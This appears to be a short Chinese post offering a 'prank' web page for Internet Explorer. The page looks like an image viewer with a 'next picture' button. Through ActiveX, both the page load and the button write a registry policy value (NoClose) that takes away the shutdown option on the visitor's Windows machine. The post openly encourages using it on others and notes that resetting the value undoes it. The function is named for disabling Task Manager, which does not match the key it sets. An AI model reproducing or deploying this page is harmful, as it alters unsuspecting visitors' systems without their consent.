纯属恶作剧(只对IE浏览器有效因为要调用ActiveX)

    <script type="text/javascript" language="javascript"> 
      function disableTaskMgr(flg){    
      var shell = new ActiveXObject("WScript.Shell");    
      try{
        shell.RegWrite("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose",
        1,"REG_DWORD")  
      }catch(e){
        throw e; 
      } 
    } 
    </script>
  </head>
  <body onLoad="disableTaskMgr(true)"> 
    <img src="imgs/2.jpg"/>
    <button onclick="disableTaskMgr(true)">下一张
    </button> 
  </body>

备注:可以恶作剧一下,修改注册表,把值改为0就能还原
